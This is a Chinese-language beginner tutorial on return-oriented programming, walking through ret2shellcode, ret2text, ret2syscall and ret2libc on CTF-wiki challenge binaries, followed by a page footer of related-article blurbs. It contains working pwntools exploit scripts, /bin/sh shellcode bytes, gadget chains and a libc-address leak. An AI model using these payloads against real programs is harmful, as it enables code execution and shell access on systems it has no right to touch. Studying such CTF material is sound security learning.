ROP的基本原理和实战教学,看这一篇就够了

pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode) 本节将介绍基本的ROP(Return-Oriented Programming,返回导向编程的)的攻击原理、二进制程序的保护机制,并通过两个实例ret2text、ret2shellcode,为读者简介基本的ROP攻击过程。本节所使用的实例可在CTF wiki上进行下载。 阅读详情

前言

在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP。

什么是ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

为什么要ROP

探究原因之前,我们先看一下什么是NX(DEP) NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop就是一种

基本ROP

ret2shellcode

我们先看这个,顾名思义,ret to shellcode,就是将返地址覆盖到我们插入shellcode的首地址。

从原理中解析ret2shellcode

先通过一个小程序回顾一下栈溢出利用过程:

#include <stdio.h>
#include <stdlib.h>
char buf[10];
int main(int arg, char **args)
{
	char s[10]; 
  	puts("start !!!");
  	gets(s);
  	strncpy(buf, s, 10);
  	printf(buf);
  	printf("\nend !!!");
  	return 0;
}

可以知道s所在位置为esp+0x16,esp=0x0061FE80,那么s所在位置为61FF96,也就是ebp-0x12,因此填充18个字符即可满足溢出的临界条件

利用IDA找到buf的地址0x004053E0,在BSS段。这里普及一下是BSS段:BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。既然可读写那么只要能够在栈内写入的payload,然后再转移到此处,并且执行权限就可以控制。通过strncpy函数达到这一目的

从例子中解析ret2shellcode

来看一个例子:ret2shellcode (https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode)

发现利用点

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

在IDA中能够发现两点:一、存在栈溢出 二、能利用写入/bin/sh进行getshell

确定利用前提

此时只需要确定是否开启NX和bss段是否可以执行 首先检查保护机制

然后在IDA中确定buf2的BSS段位置

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

查看该BSS段是否具有执行权限

一切完成后,可以发现这个文件可以进行ret2shellcode

调试

在get处设置断点,来确定s变量与ebp的距离,可以看到 s 的地址为 0xffffbe3c,计算一下得出 s 相对于 ebp 的偏移为 0x6c。

这里为什么要在get处设置断点?
因为知道s的地址才能计算出相对于ebp的偏移,此处esp刚好存储s的的地址
0x804858c <main+95>:	lea    eax,[esp+0x1c]
0x8048590 <main+99>:	mov    DWORD PTR [esp],eax
当然您可以选择其它位置,只不过这里更便捷。

可以知道溢出的临界点与触发地址还有一个4个字节的间隔 所以payload的结构是含有shellcode的6c个字节+4个字节+buf2地址

from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))  //含有shellcode的6c个字节+4个字节+buf2地址
sh.interactive()

扩展点

>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
>>> asm(shellcraft.sh()).ljust(112, 'A')
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
所以我们也可以直接构造,pwntools提供了shellcraft模块更方便。
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
这里的shellcraft.sh()则是执行/bin/sh的shellcode
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
shellcode.ljust(112, 'A') + p32(buf2_addr)

ret2text

含义

顾名思义,ret to text,也就是说我们的利用点在原文件中寻找即可,控制程序执行程序本身已有的的代码 (.text)。

从例子中解析ret2text

来看一个例子:ret2text**(https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text)**

发现利用点

IDA查看找到构成栈溢出漏洞的条件

确定利用前提

开启了NX,栈上无法写入shellcode

那么我们寻找程序中是否存在/bin/sh或者systerm()等 在IDA的Strings窗口找到/bin/sh

LOAD:08048154	00000013	C	/lib/ld-linux.so.2
LOAD:080482C9	0000000A	C	libc.so.6
LOAD:080482D3	0000000F	C	_IO_stdin_used
LOAD:080482E2	00000005	C	gets
LOAD:080482E7	00000006	C	srand
LOAD:080482ED	0000000F	C	__isoc99_scanf
LOAD:080482FC	00000005	C	puts
LOAD:08048301	00000005	C	time
LOAD:08048306	00000006	C	stdin
LOAD:0804830C	00000007	C	printf
LOAD:08048313	00000007	C	stdout
LOAD:0804831A	00000007	C	system
LOAD:08048321	00000008	C	setvbuf
LOAD:08048329	00000012	C	__libc_start_main
LOAD:0804833B	0000000F	C	__gmon_start__
LOAD:0804834A	0000000A	C	GLIBC_2.7
LOAD:08048354	0000000A	C	GLIBC_2.0
.rodata:08048763	00000008	C	/bin/sh
.rodata:0804876C	00000037	C	There is something amazing here, do you know anything?
.rodata:080487A4	00000022	C	Maybe I will tell you next time !
.eh_frame:08048833	00000005	C	;*2$\"

双击找到地址,那就是我们溢出到EIP的地址

调试

因为原理相似,不再赘述,详细见ret2shellcode

ret2syscall

含义

顾名思义,ret to syscall,就是调用系统函数达到目的

从例子中解析ret2syscall的方法

那么这里我们来深入了解一下什么是ret2syscall?为什么可以ret2syscall?在深入了解之前,先从一个例子rop**(https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)**中快速过一下方法 IDA中查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

与上面两个例子相似,原理详细见ret2shellcode,但是获取/bin/sh则需要使用系统调用来获取,也就是ret2syscall专属方法,下面我们就说一下这个专属方法。首先什么是系统调用?

在计算中,系统调用是一种编程方式,计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务(例如,访问硬盘驱动器),创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供了进程与操作系统之间的基本接口。

至于系统调用在其中充当什么角色,稍后再看 现在我们要做的是:让程序调用execve(“/bin/sh”,NULL,NULL)函数即可拿到shell 调用此函数的具体的步骤是这样的:因为该程序是 32 位,所以我们需要使得 系统调用号,即 eax 应该为 0xb 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。第二个参数,即 ecx 应该为 0 第三个参数,即 edx 应该为 0 最后再执行int 0x80触发中断即可执行execve()获取shell

我们来看这一套流程:1、存在栈溢出 2、使用ret2syscall手法进行操作 第一步与前两个方法一样,怎么样去偏移怎么去覆盖不再赘述,详见ret2shellcode,第二步ret2syscall手法也是中规中矩,照猫画虎即可。

细说系统调用在ret2syscall的作用

我们这里要说一说系统调用在其中充当了什么角色,这样才能更好地理解为什么要ret2syscall。

一探系统调用

从用户态到内核态

先对这三个词的概念进行了解一下

用户态:user_space(或用户空间)是指在操作系统内核之外运行的所有代码。user_space通常是指操作系统用于与内核交互的各种程序和库:执行输入/输出,操纵文件系统对象的软件,应用程序软件等。也就是上层应用程序的活动空间,应用程序的执行必须依托于内核提供的资源
内核态:控制计算机的硬件资源,并提供上层应用程序运行的环境,cpu可以访问内存的所有数据,包括外围设备,例如硬盘,网卡,cpu也可以将自己从一个程序切换到另一个程序。
两中空间的分离可提供内存保护和硬件保护,以防止恶意或错误的软件行为。
系统调用:为了使上层应用能够访问到这些资源,内核为上层应用提供访问的接口。

大致的关系如下:

再看一下系统调用的基本过程:开始时应用程序准备参数,发出调用请求,然后glibc中也就是c标准库封装函数引导,执行系统调用,这里我们只探讨到这两个过程。可以发现上述两个过程从用户态(第一步)过渡到内核态(第二步),系统调用就是中间的过渡件,我们能控制的地方就是用户态,然后通过系统调用控制到内核态。先看一个程序

section	.text
	global _start 
_start:
	mov	edx, len      ;message length
	mov	ecx, msg     ;message to write
	mov	ebx, 1	    ;file descriptor (stdout)
	mov	eax, 4	    ;system call number (sys_write)
	int	0x80            ;call kernel
	mov	eax, 1	    ;system call number (sys_exit)
	int	0x80            ;call kernel


section	.data
msg	db	'Hello World',0xa
len	equ	$ - msg	

可以发现该程序通过调用sys_write函数进行输出Hello World,那么sys_write()是什么?

sys_write(unsigned int fd, const char __user *buf, size_t count);

可以发现前三个mov指令是把该函数需要的参数放进相应寄存器中,然后把sys_write的系统调用号放在EAX寄存器中,然后执行int 0x80触发中断即可执行sys_call(),那么问题就来了:这几个寄存器有什么作用?为什么int 0x80?int 0x80后发生了什么?带着问题我们继续往下看

二探系统调用

set_system_gate

为何int 0x80?在系统文件中有这么一行代码

set_system_gate(0x80,&system_call);

在系统启动的时候,系统会在sched_init(void)函数中调用set_system_gate(0x80,&system_call),设置中断向量号0x80的中断描述符,也就是说实现了系统调用 (处理过程system_call)和 int 0x80中断的对应,进而通过此中断号用EAX实现不同子系统的调用。详细了解,参见《linux 0.12》 int 0x80后发生了什么?经过初始化以后,每当执行 int 0x80 指令时,产生一个异常使系统陷入内核空间并执行128号异常处理程序,也就是绑定后的函数,即系统调用处理程序 system_call(),此时CPU完成从用户态到内核态切换,开始执行system_call()。

system_call()

当进入system_call()后,主要做了两件事(我们关心的事情,其它的事情忽略,有兴趣可以去了解) 首先处理中断前设置环境的过程 然后找到实际处理在入口 规定:数值会放在eax,ebx,ecx,edx,参数一般为4个 所以ebx,ecx,edx会被压入栈中设置环境(也就是函数所需要的参数),当然ds、es等也要压入,这里不是我们考虑的范围内,有兴趣可以去了解。然后就会调用call_sys_call_table(,%eax,4)来实现相应系统函数的调用。

那么从大门进入后怎么知道进那个小门(系统函数)呢?存在这么一个数组——sys_call_table(对应的处理函数少部分在这里面进行处理),处理函数功能号对应sys_call_table[]的下标,sys_execve()函数的下标就是11,也就是0xb。此刻应该会明朗了,那么我们言归正传,回到ret2syscall来。

从例子中再次解析ret2syscall

创造条件

通过以上的了解,我们知道如果要执行execve(“/bin/sh”,NULL,NULL)函数我们需要这样做:

; NASM
int execve(const char *filename, char *const argv[], char *const envp[]); 
mov eax, 0xb                ; execve系统调用号为11
mov ebx, filename   
mov ecx, argv
mov edx, envp
int 0x80                    ; 触发系统调用

其中,execve()执行程序由 filename决定。filename必须是一个二进制的可执行文件,或者是一个脚本以#!格式开头的解释器参数参数。记得当时考(ku)研(bi)观看张宇老师视频时的一句话:大手一挥,毛主席说,没有条件要创造条件。那么我们也要小手一挥,没有条件创造条件。上面也提到了,我们只能控制用户态的操作,也就是上面程序类似mov指令的操作。那么怎么做呢?

这里需要ret2syscall的特有操作 之前已经知道各个寄存器的需要的内容了,此时就要想办法把这些值存储进对应的寄存器中 回归词意,ret to syscall,也就是找ret结尾的片段,比如把EAX置为0xb,执行以下程序即可完成。

pop eax
ret

当然父程序通过栈溢出,执行ret后栈顶值为0xb,这样再调用此片段(父程序的ret addr为此片段的首地址),EAX寄存器就会置为0xb,后面详细解读过程。如果有多个片段连接起来不就可以把四个寄存器置为相应的值了吗

只要用户态栈空间能够控制成这样(只是举例其中的一种排列方式)就可以达到ret2syscall的目的 简单分析一下流程:1、成功溢出 2、通过ret指令使得EIP指向pop eax;的地址 3、执行pop eax;栈顶值0xb成功出栈,栈顶指针下移 4、通过ret指令使得EIP指向pop ebx;的地址 … 一切都清楚后,下面就开始进行创造条件

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

选取其中一个就可以,比如可以选择第一行,那么你的用户态栈内容按照第一个的指令进行变化,出栈四次,然后才可以将ESP值置为下一个条件(pop ebx;)的地址,也就是说0xb+‘AAAA’+‘AAAA’+‘AAAA’+addr(pop ebx;),因此我们不如选择第二行。

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

简单展示部分内容,与上一个选取原理是一样的,为了方便,我们选择最后一行。

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80


Unique gadgets found: 1

条件已经创造完了,万事俱备,只欠东风,现在只需要把这些条件串联起来就可以实现ret2syscall,我们从下图来能够看到,ESP指针依次下移,直到指向int 0x80触发中断。

payload

from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc

对于ret2libc,借用ctfwiki的三个例子详细解读其中的原理和利用过程。

含义

我们知道,操作系统通常使用动态链接的方法来提高程序运行的效率。那么在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载。也就是控制执行 libc(对应版本) 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”)(或者execve(“/bin/sh”,NULL,NULL)),故而此时我们需要知道 system 函数的地址,具体可以移步深入理解GOT表和PLT表。

初探ret2libc

上面已经提到了,我们只要可以执行类似system(“/bin/sh”)的函数即可获取shell,在存在溢出的程序中我们在一般怎么去执行此函数呢?大致可以分为三类:一、“/bin/sh"字符串和system函数都可以在程序找到 二、二者其一找不到(一般为”/bin/sh"字符串找不到) 三、二者都没有 无论是哪一种情况,我们需要找到"/bin/sh"字符串和system()函数,并且堆栈位置如下:

当然还需了解一下x86对于形参的处理,就可以知道上图的“任意四字符”处为返回地址,因为我们不用考虑程序后续怎去正常运行,达到getshell的目的即可,程序的具体执行过程可以参照这篇栈溢出漏洞原理详解与利用

那么我们分开说一下怎去利用。

再探ret2libc

先看一个简单的例子**(https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1)**, 也就是我们说的第一种情况。检查保护机制,程序为32位并且开了NX保护,继续反编译从伪代码可以发现gets()处导致栈溢出,对于以上步骤,本文已经详细讲述过,不再赘述,以下两种情况的分析也直接省去该过程。按照上述的理论,我们在IDA的Stings中可以找到"/bin/sh",在Functions中可以找到system()函数

.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system         proc near               ; CODE XREF: secure+44↓p
.plt:08048460 command         = dword ptr  4
.plt:08048460                 jmp     ds:off_804A018
.plt:08048460 _system         endp

找到0x08048720和0x08048460后,按照上图所示的堆栈位置构造payload:

binsh_addr = 0x8048720
system_plt = 0x8048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])

三探ret2libc

在这一节,首先说一下第二种情况的例子](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2)。可以发现在IDA中只能找到system()函数的plt地址,却没有看到"/bin/sh"字符串的踪影

.plt:08048490 ; int system(const char *command)
.plt:08048490 _system         proc near               ; CODE XREF: secure+44↓p
.plt:08048490 command         = dword ptr  4
.plt:08048490                 jmp     ds:off_804A01C
.plt:08048490 _system         endp

没有了"/bin/sh"字符串,就没办法获取shell,那么我们就得创造条件。除了现成的内容,我们也可以人工输入,那么就需要gets()函数来实现这一目的,因此目前的结构应该如下图所示。

当然也可以进行堆栈平衡,在执行完gets()函数后提升堆栈(add esp, 4),堆栈位置如下:

程序在读写数据的时候是通过地址查找的,如果函数调用之前的堆栈与函数调用之后的堆栈不一致,就可能导致找不到数据或找到的数据错误,那么久有可能导致程序崩溃。

这样构造使得我们的堆栈逻辑更好看,一个函数一个函数的顺序执行,从压入形参到结束,显得有条理,但是只要达到目的即可,第一种或许更方便一些。那么采取第一种做法,找到相应的地址

.plt:08048460 _gets           proc near               ; CODE XREF: main+72↓p
.plt:08048460 s               = dword ptr  4
.plt:08048460                 jmp     ds:off_804A010
.plt:08048460 _gets           endp

如同ret2shellcode一节中做法一样,在bss段找到一个数组,确保其有执行权限

.bss:0804A080 ; char buf2[100]

完成这些步骤后,就可以构造payload了

gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080
payload = flat(['a' * 112, gets_plt, system_plt, buf2, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')

继续来看第三种情况,如果什么都没有,我们怎么去一个一个去创造条件?对于’/bin/sh’字符串的构造已经知道了,剩下的就是怎么找到system函数 这里需要事先了解下动态链接时GOT表和PLT表的作用,可以参考深入理解GOT表和PLT表此文。可以发现,GOT表的第三项调用_dl_runtimw_resolve将真正的函数地址,也就是glibc运行库中的函数的地址,回写到代码段,就是got[n](n>=3)中。也就是说在函数第一次调用的时,才通过连接器动态解析并加载到.got.plt中,而这个过程称之为延时加载或者惰性加载。目前的思路就是,通过栈溢出泄露某函数(一般为泄露 __libc_start_main 地址,这里选择泄露put函数)的GOT表地址,然后根据偏移量(libc中函数与函数之间的距离时固定的)来计算出system()的地址,有了’/bin/sh’也有了system,shell自然就有了,如下图所示。

使用pwntools编写

from pwn import *


sh = process('./ret2libc3')
elf = ELF('./ret2libc3')


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = flat(["A" * 112, puts_plt,  "A"  * 4, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))
print "[*]puts addr: " + hex(puts_addr)

可以发现通过相应的模块可以顺利获取puts函数的真实地址(也就是GOT表中存储的地址)

pwn@pwn-PC:~/Desktop$ python ret2libc.py 
[+] Starting local process './ret2libc3': pid 45169
[*] '/home/pwn/Desktop/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] u'/usr/lib/i386-linux-gnu/libc-2.24.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*]puts addr: 0xf7d6f880
[*] Stopped process './ret2libc3' (pid 45169)

那么问题来了?此处的溢出用来获取put函数的真实地址,怎么再去进行执行system(‘bin/sh’)呢?如果存在两个溢出点就完美了,可惜只有一个。不过刚才提到的返回地址,在这里就有了用武之地了,它可以让我们有“两个”溢出点。如果put函数的返回地址可以回到函数的入口,不就可以再执行一遍gets(溢出点)了吗?怎么构造之前简单了解用户代码的入口和系统代码的入口,在一个程序运行中有两个入口,一个是main(),另一个是_start(),简单来说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。这里以main()函数作为入口为例,如下图所示:

一目了然后,构造poc即可。先来梳理一下我们需要知道什么条件:一、puts函数的地址和真实地址 二、main函数的真实地址 三、system函数的真实地址 四、‘/bin/sh’字符串的位置 条件一我们已经具备了,那么怎么搞定剩下的条件,以及堆栈位置。怎么获取main、system和’/bin/sh’的真实地址呢?当然与获取put的真实地址一样

main_addr = elf.symbols['main']
程序运行起来后main_addr就是真实地址了
之后相减获取基址
libc.address = puts_addr - libc.symbols['puts']
然后获取system和'/bin/sh'的地址
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

那么直接构造exp

from pwn import *


sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = flat(["A" * 112, puts_plt, main_addr, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))


libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
payload2 = flat(["B" * 104, system_addr, "B" * 4, binsh_addr])
sh.sendline(payload2)
sh.interactive()

这里会发现,payload2中溢出字符为104个,比第一次减少了8个,这个的原因有点复杂,涉及到x86程序启动,x86程序启动会做一些初始化工作,包括main函数参数的初始化,篇幅较长,不再细说(其实是还没研究懂,太菜了),当然如果只是为了做这道题的话,可以直接调试得到。泄露__libc_start_main地址,使用_start也是一样的,懂得原理稍微改一下就可以,在ctfwiki (https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#3)中引用了LibcSearcher**(https://github.com/lieanu/LibcSearcher)**

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)

另外也可以根据第二种情况的思路,引入gets和buf来获取字符串’/bin/sh’,如下图所示

exp如下

from pwn import *


sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = flat(["A" * 112, puts_plt, main_addr, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))


gets_plt = 0x08048440
buf2 = 0x804a080
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']


payload2 = flat(['a' * 104, gets_plt, system_addr, buf2, buf2])
sh.sendline(payload2)
sh.sendline('/bin/sh')
sh.interactive()

总结

还未入门,详细记录每个知识点,为了能更好地温故知新,也希望能帮助和我一样想要入门二进制安全的初学者,如有错误,希望大佬们指出。

​

Linux pwn入门教程(3)——ROP技术 作者:Tangerine@SAINTSEC原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html0×00 背景在上一篇教程的《shellcode的变形》一节中,我们提到过内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的shellcode就无法执行。关于这个特性的实验在... 阅读详情

相关推荐

从‘玩具’到实战:拆解AttackLab的ROP攻击(Phase 4-5),理解现代漏洞缓解机制

本文深入解析AttackLab中Phase 4-5的ROP攻击技术,揭示如何通过代码复用绕过现代漏洞缓解机制。通过构建ROP链和利用gadget农场,读者将掌握缓冲区溢出攻击的核心原理及其对抗措施,如NX/DEP和ASLR。文章还探讨了从实验到现实漏洞利用的演进,帮助安全研究人员提升实战能力。

weixin_32736961的博客 249

rop入门(二)

一:  上一篇讲解了一下什么是rop以及如何搭建rop框架,本章节讲解,如何使用rop进行服务的调用以及参数的传递  同springMvc相似 rop也是通过在web.xml中配置拦截来声明该url链接启用rop框架。至于如何调用controller层内的方法,rop有专门的参数用来指定,这个下边会讲到。示例:  web.xml servlet> se

陈安志的博客 3370

新手必看:用ROP攻击绕过NX保护实战(附ret2text完整代码)

本文详细介绍了ROP攻击技术如何绕过NX保护,特别适合pwn技术新手学习。通过ret2text实战案例,展示了从环境搭建到完整攻击脚本编写的全流程,包括偏移量计算、gadget利用等核心技巧,帮助读者掌握二进制安全攻防基础。

weixin_26875109的博客 88

基础ROP篇1

ROP (Return-Oriented Programming)是为了程序编译后存在如非执行(NX)页或代码签名等保护机制时,仍能执行任意代码一种手段;其主要思想是在“gadget” 指的是目标程序或系统库中的一小段机器指令序列,这些序列以 ret指令结束。之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件假设有以下几个 x86 架构的指令序列作为 gadgets,可以通过组合这些gadgets构造一个执行序列。

samli的博客 1818

缓冲区溢出攻击实战:从栈帧原理到ROP链构造

缓冲区溢出是计算机安全领域最经典的漏洞之一,其核心原理在于程序向固定大小的内存缓冲区写入超出边界的数据,导致相邻关键数据被覆盖。在函数调用过程中,栈帧保存了返回地址等控制流信息,一旦返回地址被恶意数据篡改,攻击者便能劫持程序执行流程,实现任意代码执行。这种技术虽然危险,但深入理解其机制对于构建安全软件至关重要。通过模拟攻击实验,开发者可以直观体会栈帧布局、函数调用约定以及控制流劫持的全过程,从而在工程实践中主动规避诸如使用不安全的`strcpy`、`gets`等函数。本文以AttackLab实验为沙盒,详细

weixin_30527323的博客 354

21、深入了解ROP攻击:原理、工具与实践

本文深入解析了返回导向编程(ROP)攻击的原理、常用工具与实践方法。ROP攻击通过利用程序中的代码片段(小工具)绕过DEP/NX和ASLR等安全机制,实现对系统的攻击。文章介绍了ROP的核心思想、攻击构建过程,并通过示例C程序演示了如何使用ROPgadget和MSFrop等工具提取小工具、生成ROP链及编写攻击代码。同时,还探讨了ROP攻击的防御思路,包括增强防护机制、代码审查与修复以及监控与检测。通过本文的学习,读者可以全面了解ROP攻击的技术原理及应对策略。

Pepper的专栏 484

[PWN][进阶篇]Rop-Ret2Text介绍及实例教学

Rop-Ret2Text介绍及实例教学1、前提知识2、实例教学 1、前提知识 什么是Rop系统攻击 是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。 ROP也有其不同于正常程序的内在特征: (1)ROP控制流中,call和ret指令不操纵函数,而是用于将函数里面的短指令序列的执行流串起来,但在正常的程序中,call和ret分别代表函数的开始和结束; (2)ROP控制流中,jmp指令在不同的库函数甚至不同的库之间跳转,攻击者抽取的指令序列可能取自任意一个二进制文件

网络安全知识分享 6628

[网络安全自学篇] 五十五.Windows系统安全之构建ROP链绕过DEP及原理详解

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或GET)引起缓冲区溢出,从而改写SEH链的地址并反弹Shell。本文将讲解DEP堆栈执行保护机制,通过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击。基础性文章,希望对您有所帮助。

杨秀璋的专栏 1万+

适合初学者的ROP攻击入门教程 - [Pwn] ROP Emporium Guide

ROP Emporium 是一个ROP攻击入门教学网站,提供了一系列的挑战任务,这些挑战对逆向工程或debug的要求不高,因此对初学者十分友好,适合初学者了解ROP攻击。网站中共有8个挑战任务,每个挑战都引入了一个新概念/知识点,其复杂性和难度逐渐增加,循序渐进,而且每个挑战都有32/64位两个版本的程序,适合初学者了解二者之间的差异。

HiTaQini 4077

[FreeRTOS+STM32CubeMX] 03 USART串口调试-基于中断实现接收和发送数据

我们接着上一小节,上一节讲到,接收上位机传来的数据时,需要事先知道传来的数据的字节数,这一操作实在有些反人类,那么如何解决这个问题,上位机输入多少,我们就接收多少数据呢? 接下来我将把USART引入中断,在接收数据的回调函数中引入二值信号量、消息队列,来让我的接收数据能够存储在队列中,并一个一个的在任务中输出出来,并最终在上位机回显。

RichieHuang的博客 2649

SpotBugs使用

spotbugs命令行参数解析

javajingling的专栏 2947

Kernel pwn 基础教学之 Kernel ROP

点击"蓝字"关注,获取更多技术内容!前言Kernel ROP本质上还是构造ropchain来控制程序流程完成提权,不过相较于用户态来说还是有了一些变化,这里选取的例题是2018年强网杯的赛...

蚁景网安学院 2829

VMware17安装教程(附安装包)VMware17小白详细一键安装教程

VMware 17.5 是一款强大的虚拟机软件。本安装教程将为您详细介绍VMware17安装教程其下载、安装步骤及验证方法,助您轻松完成安装,开启虚拟化体验。

2501_91538706的博客 2万+

rop检查_CTF必备技能丨Linux Pwn入门教程——ROP技术

Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的pyth...

weixin_39724382的博客 377

002、搭建你的第一个Agent开发环境:Python与核心库安装

